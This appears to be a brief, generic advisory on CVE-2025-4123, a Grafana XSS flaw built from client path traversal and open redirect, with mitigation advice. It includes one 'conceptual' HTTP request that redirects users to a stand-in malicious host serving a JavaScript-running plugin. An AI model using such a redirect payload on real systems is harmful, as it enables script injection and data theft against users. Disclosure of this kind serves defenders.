Overview
A significant cybersecurity vulnerability, CVE-2025-4123, has been identified in Grafana, a popular open-source analytics and monitoring solution. The vulnerability is a Cross-Site Scripting (XSS) issue caused by a combination of client path traversal and open redirect. This issue is of grave concern as it potentially allows malicious parties to compromise systems or leak sensitive data.
Vulnerability Summary
CVE ID: CVE-2025-4123
Severity: High (7.6 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise and data leakage
Affected Products
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Product | Affected Versions
Grafana | All versions prior to the patched version
How the Exploit Works
The exploit leverages a Cross-Site Scripting (XSS) vulnerability in Grafana that arises from a combination of a client path traversal and open redirect. This flaw allows attackers to redirect users to a malicious website hosting a frontend plugin that will execute arbitrary JavaScript. The vulnerability does not require editor permissions, and can function even with anonymous access enabled. If the Grafana Image Renderer plugin is installed, it is possible to exploit the open redirect to achieve a full read Server Side Request Forgery (SSRF).
Conceptual Example Code
This is a conceptual example of how the vulnerability might be exploited using a malicious HTTP request:
GET /redirect?to=http://malicious.example.com/frontend-plugin HTTP/1.1
Host: vulnerable-grafana.example.com
Mitigation Guidance
To mitigate this vulnerability, Grafana users are advised to apply the vendor’s patch as soon as it is available. Until then, users can employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation. Also, disabling anonymous access and the Grafana Image Renderer plugin can reduce the impact of the vulnerability.

